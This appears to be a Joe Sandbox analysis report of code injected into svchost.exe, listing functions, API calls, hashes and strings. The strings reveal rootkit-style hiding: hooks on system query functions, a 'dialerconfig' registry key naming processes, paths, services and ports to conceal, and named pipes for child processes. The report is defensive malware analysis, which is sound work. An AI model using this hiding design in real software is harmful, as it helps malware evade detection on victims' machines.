API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: b3051725836e5a678d16d6c04318273762d93e2dc7360282720516a8b9a87901
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 74116A35A02B8791EA44DB66A8083B963E1FB89FC5F1C8038DE4D53766DE38C4828B00

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 6908, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1778
Total number of Limit Nodes:	3

Executed Functions

Function 0000023D0748328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000023D074832AE
PathFindFileNameW.SHLWAPI ref: 0000023D074832BD

Part of subcall function 0000023D07483844: StrCmpNIW.SHLWAPI ref: 0000023D0748385C

Part of subcall function 0000023D07483790: GetModuleHandleW.KERNEL32 ref: 0000023D0748379E
Part of subcall function 0000023D07483790: GetCurrentProcess.KERNEL32 ref: 0000023D074837CC
Part of subcall function 0000023D07483790: VirtualProtectEx.KERNEL32 ref: 0000023D074837EE
Part of subcall function 0000023D07483790: GetCurrentProcess.KERNEL32 ref: 0000023D07483809
Part of subcall function 0000023D07483790: VirtualProtectEx.KERNEL32 ref: 0000023D0748382A

CreateThread.KERNEL32 ref: 0000023D0748330B

Part of subcall function 0000023D07481D14: GetCurrentThread.KERNEL32 ref: 0000023D07481D1F

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 249fe295386c2627b77399d12c07c604ae3671114177613492f91ae15b0296f6
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: D9115731A1464892FBACAF31F84D3ED2294FB94F45F504129E9D68D991EFBCC3488200

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07481ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000023D07481628: GetProcessHeap.KERNEL32 ref: 0000023D07481633
Part of subcall function 0000023D07481628: HeapAlloc.KERNEL32 ref: 0000023D07481642
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D074816B2
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D074816DF
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D074816F9
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D07481719
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D07481734
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D07481754
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D0748176F
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D0748178F
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D074817AA
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D074817CA

Sleep.KERNEL32 ref: 0000023D07481AD7
SleepEx.KERNEL32 ref: 0000023D07481ADD

Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D074817E5
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D07481805
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D07481820
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D07481840
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D0748185B
Part of subcall function 0000023D07481628: RegOpenKeyExW.ADVAPI32 ref: 0000023D0748187B
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D07481896
Part of subcall function 0000023D07481628: RegCloseKey.ADVAPI32 ref: 0000023D074818A0

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 847e6377e3dc575efd689e333a6c8c4ddf9d9a476f20b54236c2633c8c4932e5
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 6831FD6121164D92EBD99B36FA493FD53A5EB84FD0F04542BCE898F396FF28C6528210

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000023D07482B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000023D07482BD0
lstrlenW.KERNEL32 ref: 0000023D07482E0A

Part of subcall function 0000023D0748199C: OpenProcess.KERNEL32 ref: 0000023D074819C2
Part of subcall function 0000023D0748199C: K32GetModuleFileNameExW.KERNEL32 ref: 0000023D074819E0
Part of subcall function 0000023D0748199C: PathFindFileNameW.SHLWAPI ref: 0000023D074819EF
Part of subcall function 0000023D0748199C: lstrlenW.KERNEL32 ref: 0000023D074819FB
Part of subcall function 0000023D0748199C: StrCpyW.SHLWAPI ref: 0000023D07481A0E
Part of subcall function 0000023D0748199C: CloseHandle.KERNEL32 ref: 0000023D07481A1C

GetProcAddress.KERNEL32 ref: 0000023D07482BE5

Part of subcall function 0000023D0748152C: StrCmpIW.SHLWAPI ref: 0000023D0748155D

Part of subcall function 0000023D07483844: StrCmpNIW.SHLWAPI ref: 0000023D0748385C

StrCmpNIW.SHLWAPI ref: 0000023D07482C28
lstrlenW.KERNEL32 ref: 0000023D07482D50

Strings

NtQueryObject, xrefs: 0000023D07482BDB
ntdll.dll, xrefs: 0000023D07482BC9
\Device\Nsi, xrefs: 0000023D07482C1B

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 568704c4c03e7105a6dbd2c871c9419f6adb55d7556ff538f8b158f5da99337c
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: B2B17A76210A9886EBED8F35E4487ED63E5FB44F84F445016EE895BB94DBB8CE80C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07487D90 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000023D07487DAC
RtlCaptureContext.NTDLL ref: 0000023D07487DD9
RtlLookupFunctionEntry.NTDLL ref: 0000023D07487DF3
RtlVirtualUnwind.NTDLL ref: 0000023D07487E34
IsDebuggerPresent.KERNEL32 ref: 0000023D07487E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000023D07487EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000023D07487EB4

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 5ef50bba8b6294292f23dfc326b6b549d4ebdc4a8f468fd140640293cd9c38dd
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 4B312F72215B848AEBA49FB0F8947ED7364F784B44F44442ADA8D5BB98EF7CC648C710

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000023D0748D31D
RtlLookupFunctionEntry.NTDLL ref: 0000023D0748D335
RtlVirtualUnwind.NTDLL ref: 0000023D0748D370
IsDebuggerPresent.KERNEL32 ref: 0000023D0748D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000023D0748D3B3
UnhandledExceptionFilter.KERNEL32 ref: 0000023D0748D3BE

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 30ab572208139a833cd1e4f2db5cdedbeff19a75742dd5cbac50be8af946606d
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 88315B32614B8486EB64CF75E8843EE73A4F789B94F500126EA9D4BB98DF3CC245CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07481628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000023D07481633
HeapAlloc.KERNEL32 ref: 0000023D07481642

Part of subcall function 0000023D07481268: GetProcessHeap.KERNEL32 ref: 0000023D0748126E
Part of subcall function 0000023D07481268: HeapAlloc.KERNEL32 ref: 0000023D0748127D
Part of subcall function 0000023D07481268: GetProcessHeap.KERNEL32 ref: 0000023D07481297
Part of subcall function 0000023D07481268: HeapAlloc.KERNEL32 ref: 0000023D074812A8

RegOpenKeyExW.ADVAPI32 ref: 0000023D074816B2
RegOpenKeyExW.ADVAPI32 ref: 0000023D074816DF
RegCloseKey.ADVAPI32 ref: 0000023D074816F9
RegOpenKeyExW.ADVAPI32 ref: 0000023D07481719
RegCloseKey.ADVAPI32 ref: 0000023D07481734
RegOpenKeyExW.ADVAPI32 ref: 0000023D07481754
RegCloseKey.ADVAPI32 ref: 0000023D0748176F
RegOpenKeyExW.ADVAPI32 ref: 0000023D0748178F
RegCloseKey.ADVAPI32 ref: 0000023D074817AA
RegOpenKeyExW.ADVAPI32 ref: 0000023D074817CA
RegCloseKey.ADVAPI32 ref: 0000023D074817E5
RegOpenKeyExW.ADVAPI32 ref: 0000023D07481805
RegCloseKey.ADVAPI32 ref: 0000023D07481820
RegOpenKeyExW.ADVAPI32 ref: 0000023D07481840
RegCloseKey.ADVAPI32 ref: 0000023D0748185B
RegOpenKeyExW.ADVAPI32 ref: 0000023D0748187B
RegCloseKey.ADVAPI32 ref: 0000023D07481896
RegCloseKey.ADVAPI32 ref: 0000023D074818A0

Part of subcall function 0000023D074812BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000023D07481319
Part of subcall function 0000023D074812BC: GetProcessHeap.KERNEL32 ref: 0000023D07481327
Part of subcall function 0000023D074812BC: HeapAlloc.KERNEL32 ref: 0000023D07481338
Part of subcall function 0000023D074812BC: RegEnumValueW.ADVAPI32 ref: 0000023D07481397
Part of subcall function 0000023D074812BC: GetProcessHeap.KERNEL32 ref: 0000023D074813DF
Part of subcall function 0000023D074812BC: HeapAlloc.KERNEL32 ref: 0000023D074813ED
Part of subcall function 0000023D074812BC: GetProcessHeap.KERNEL32 ref: 0000023D0748140A
Part of subcall function 0000023D074812BC: HeapFree.KERNEL32 ref: 0000023D07481418
Part of subcall function 0000023D074812BC: lstrlenW.KERNEL32 ref: 0000023D07481421
Part of subcall function 0000023D074812BC: GetProcessHeap.KERNEL32 ref: 0000023D0748142F
Part of subcall function 0000023D074812BC: HeapAlloc.KERNEL32 ref: 0000023D0748143D

Strings

startup, xrefs: 0000023D074816D5
tcp_local, xrefs: 0000023D074817FE
udp, xrefs: 0000023D07481874
process_names, xrefs: 0000023D0748174D
paths, xrefs: 0000023D07481788
SOFTWARE\dialerconfig, xrefs: 0000023D07481692
service_names, xrefs: 0000023D074817C3
pid, xrefs: 0000023D07481712
tcp_remote, xrefs: 0000023D07481839

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 555f11e2c5d7e5d602705ee85cc5484c87cf9b83bf79107f966d7841e8cb89e6
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 1F711526710A18C6EB549F76F88869D33A4FB88F8CF011126DE8E5BB29DF78C655C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D074812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000023D07481319
GetProcessHeap.KERNEL32 ref: 0000023D07481327
HeapAlloc.KERNEL32 ref: 0000023D07481338
RegEnumValueW.ADVAPI32 ref: 0000023D07481397

Part of subcall function 0000023D0748152C: StrCmpIW.SHLWAPI ref: 0000023D0748155D

GetProcessHeap.KERNEL32 ref: 0000023D074813DF
HeapAlloc.KERNEL32 ref: 0000023D074813ED
GetProcessHeap.KERNEL32 ref: 0000023D0748140A
HeapFree.KERNEL32 ref: 0000023D07481418
lstrlenW.KERNEL32 ref: 0000023D07481421
GetProcessHeap.KERNEL32 ref: 0000023D0748142F
HeapAlloc.KERNEL32 ref: 0000023D0748143D
StrCpyW.SHLWAPI ref: 0000023D0748145F
GetProcessHeap.KERNEL32 ref: 0000023D07481476
HeapFree.KERNEL32 ref: 0000023D07481484

Strings

d, xrefs: 0000023D0748135A

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: d757895e1044013e3484bb0b51aff29d47f7e5e8bfa9b23e59cd153eb00cc443
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 5F513A36200B88C6EB58CF62F44939A77A1F788FC9F054125DA8A0B728EF7CC6458B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07481D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000023D07481D1F

Part of subcall function 0000023D07481FD4: GetModuleHandleA.KERNEL32 ref: 0000023D07481FEC
Part of subcall function 0000023D07481FD4: GetProcAddress.KERNEL32 ref: 0000023D07481FFD

Part of subcall function 0000023D07485B30: GetCurrentThreadId.KERNEL32 ref: 0000023D07485B6B

Strings

NtQueryDirectoryFileEx, xrefs: 0000023D07481D9C
NtEnumerateValueKey, xrefs: 0000023D07481DD6
NtEnumerateKey, xrefs: 0000023D07481DB9
NtDeviceIoControlFile, xrefs: 0000023D07481E56
advapi32.dll, xrefs: 0000023D07481DF7, 0000023D07481E18
ntdll.dll, xrefs: 0000023D07481D2D
EnumServicesStatusExW, xrefs: 0000023D07481E11, 0000023D07481E32
EnumServiceGroupW, xrefs: 0000023D07481DF0
NtResumeThread, xrefs: 0000023D07481D62
sechost.dll, xrefs: 0000023D07481E39
NtQueryDirectoryFile, xrefs: 0000023D07481D7F
NtQuerySystemInformation, xrefs: 0000023D07481D45

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 3dc062d91e024b63eda59a538b6bc41622ff02a2413009beb4566624e7ff408a
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 0B317264A00A4EB0EA8DEF79F8596E87320FB44F44F805017DAD91E5669FBCC34AD790

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000023D0748CE37
FlsGetValue.KERNEL32(?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CE4C
FlsSetValue.KERNEL32(?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CE6D
FlsSetValue.KERNEL32(?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CE9A
FlsSetValue.KERNEL32(?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CEAB
FlsSetValue.KERNEL32(?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CEBC
SetLastError.KERNEL32 ref: 0000023D0748CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CF0D
FlsSetValue.KERNEL32(?,?,00000001,0000023D0748ECCC,?,?,?,?,0000023D0748BF9F,?,?,?,?,?,0000023D07487AB0), ref: 0000023D0748CF2C

Part of subcall function 0000023D0748D6CC: HeapAlloc.KERNEL32 ref: 0000023D0748D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CF54

Part of subcall function 0000023D0748D744: HeapFree.KERNEL32 ref: 0000023D0748D75A
Part of subcall function 0000023D0748D744: GetLastError.KERNEL32 ref: 0000023D0748D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000023D07490A6B,?,?,?,0000023D0749045C,?,?,?,0000023D0748C84F), ref: 0000023D0748CF76

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 37e689e573dddeafb8ea026c3800c64344d22b417951650d2666f654e9515631
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3A41802070124C81FAEDA735759D3FD2292DF84FB0F240764E9B65EAE6DE6CC7019620

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07482244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000023D07482259
GetCurrentProcessId.KERNEL32 ref: 0000023D07482263

Part of subcall function 0000023D07481934: OpenProcess.KERNEL32 ref: 0000023D07481952
Part of subcall function 0000023D07481934: IsWow64Process.KERNEL32 ref: 0000023D07481968
Part of subcall function 0000023D07481934: CloseHandle.KERNEL32 ref: 0000023D07481983

CreateFileW.KERNEL32 ref: 0000023D074822BC
WriteFile.KERNEL32 ref: 0000023D074822E4
ReadFile.KERNEL32 ref: 0000023D07482303
CloseHandle.KERNEL32 ref: 0000023D0748230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 0000023D07482293
\\.\pipe\dialerchildproc64, xrefs: 0000023D0748228C

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 967e0752b4b09135bc43116ca6260b41a95f99fb7a4056cabc477c3fdf007d2c
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 5B214C32614B44C3FB58CB35F45836A73A1F789BA4F500215EA990BBA8DFBCC249CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000023D0748A5A1

Part of subcall function 0000023D0748B414: __GetUnwindTryBlock.LIBCMT ref: 0000023D0748B457
Part of subcall function 0000023D0748B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000023D0748B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000023D0748A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000023D0748A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000023D0748A9DA

Strings

csm, xrefs: 0000023D0748A5BB
csm, xrefs: 0000023D0748A622
csm, xrefs: 0000023D0748A69C

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 536d8d46a720bdb3e19783c50ae425961c44f96f11ecf8848f759341d2f5f997
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 47E19C72604B488AEBA8DF75E4883ED77A0F745B98F144116EEC95BB99CB7CD281C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000023D0748F510
GetProcAddress.KERNEL32 ref: 0000023D0748F51C

Strings

ext-ms-, xrefs: 0000023D0748F46D
api-ms-, xrefs: 0000023D0748F45A

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 220a255937933b56b9b33ae8eb537578247286bed024edff2a48e62733fefc1a
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: AB41F422311A0491EB9EDB36B808BD92391F755FE0F194126DD9E8F794EF3CC6498310

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000023D074810B1
RegEnumValueW.ADVAPI32 ref: 0000023D07481117
GetProcessHeap.KERNEL32 ref: 0000023D0748115A
HeapAlloc.KERNEL32 ref: 0000023D07481168
GetProcessHeap.KERNEL32 ref: 0000023D07481185
HeapFree.KERNEL32 ref: 0000023D07481193

Strings

d, xrefs: 0000023D074810D6

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 732e625de784bcb73f92f89d23bf3222a5a8d0c3f290398500a3e22b29098c09
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: EC414F72214B88C6E7A4CF31E44879E77A1F389F98F44811ADA8A0BB58DF3CC585CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,0000023D0748C7DE,?,?,?,?,?,?,?,?,0000023D0748CF9D,?,?,00000001), ref: 0000023D0748D087
FlsSetValue.KERNEL32(?,?,?,0000023D0748C7DE,?,?,?,?,?,?,?,?,0000023D0748CF9D,?,?,00000001), ref: 0000023D0748D0A6
FlsSetValue.KERNEL32(?,?,?,0000023D0748C7DE,?,?,?,?,?,?,?,?,0000023D0748CF9D,?,?,00000001), ref: 0000023D0748D0CE
FlsSetValue.KERNEL32(?,?,?,0000023D0748C7DE,?,?,?,?,?,?,?,?,0000023D0748CF9D,?,?,00000001), ref: 0000023D0748D0DF
FlsSetValue.KERNEL32(?,?,?,0000023D0748C7DE,?,?,?,?,?,?,?,?,0000023D0748CF9D,?,?,00000001), ref: 0000023D0748D0F0

Strings

1%, xrefs: 0000023D0748D0CE
Y%, xrefs: 0000023D0748D0A6

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 96d216e8e13310d52ca263043bb664ae6074142d933491655c349e1519d69680
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
